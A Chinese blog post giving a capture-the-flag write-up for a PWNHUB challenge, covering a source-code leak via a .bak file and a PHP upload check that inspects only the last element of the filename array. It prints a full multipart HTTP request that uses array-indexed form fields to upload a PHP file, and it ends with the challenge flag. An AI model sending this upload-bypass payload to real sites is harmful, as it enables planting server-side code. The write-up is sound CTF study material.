Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 PWNHUB 公开赛 / 傻 fufu 的工作日 Writeup

0x01 题目介绍

啊~又到了(划水的)工作日,工作一整天,人都傻 fufu 的了…

不如让我们来跟胖哈勃来一场星际旅行吧!

旅行直通票就在下面这个地址里喔:
http://54.223.120.147:8088/

快来!就差你啦

0x02 Writeup

拿源码

忙里偷闲,随便看了下,没想到还有源码。。。

后来意外看到提示,原来这题目还有源码的啊

随手加个.bak就下了。

盲测的时候,其实就差最后一丢丢了。。

看源码

这个题目真心简单,没源码可以是个好题目,有源码就。。。。

根据include 'UploadFile.class.php';又下了个源码文件,

大概看一下就发现了漏洞,

if(!in_array($filename[count($filename)-1], $this->allow_ext)) {

另外,其实首页也有提示的Allow One Image File

说白了,这个也就是php数组的一个特性吧。(其它语言有没有我就不知道了)

加上这段代码就能够清晰看到具体问题了

// :81
print_r($filename);
print_r(count($filename)-1);
print_r("\n");
print_r("ext : ".($filename[count($filename)-1]));

Playload

POST / HTTP/1.1
Host: 54.223.120.147:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjkgFYqhd2mQQqbSq
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://54.223.120.147:8088/
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6,zh-TW;q=0.4
Connection: close

------WebKitFormBoundaryjkgFYqhd2mQQqbSq
Content-Disposition: form-data; name="upfile[1]"

gif
------WebKitFormBoundaryjkgFYqhd2mQQqbSq
Content-Disposition: form-data; name="upfile[]"

php
------WebKitFormBoundaryjkgFYqhd2mQQqbSq
Content-Disposition: form-data; name="upfile"; filename="deafult.jpg"
Content-Type: image/jpeg

<?php
show_flag();
?>
------WebKitFormBoundaryjkgFYqhd2mQQqbSq--

解密

新增提示 : 说明:花钱解密源码和说不清源码解密方式的同学,酌情往后排,能说清楚源码解密原理并给出方法的同学加分。

源码解密方式,23333

这个特简单,万能的XDebug就能过分分钟解决了,我的教程视频也讲过这个方法吧?(咦,我讲过吗?)

一般的加密基本上都会用到eval执行的

另一个方法就是弄个php的插件,Hook他的eval函数相关,直接输出~~

Flag

pwnhub{flag:ec8ae6e67b7e4369e49075426e5e47ef}

PHPjiami_decode

phpext_phpjiami_decode

本文标题 : PWNHUB 公开赛 / 傻 fufu 的工作日 Writeup
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2017/09/20/pwnhub_writeups_sha_fu_fu_workdays.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~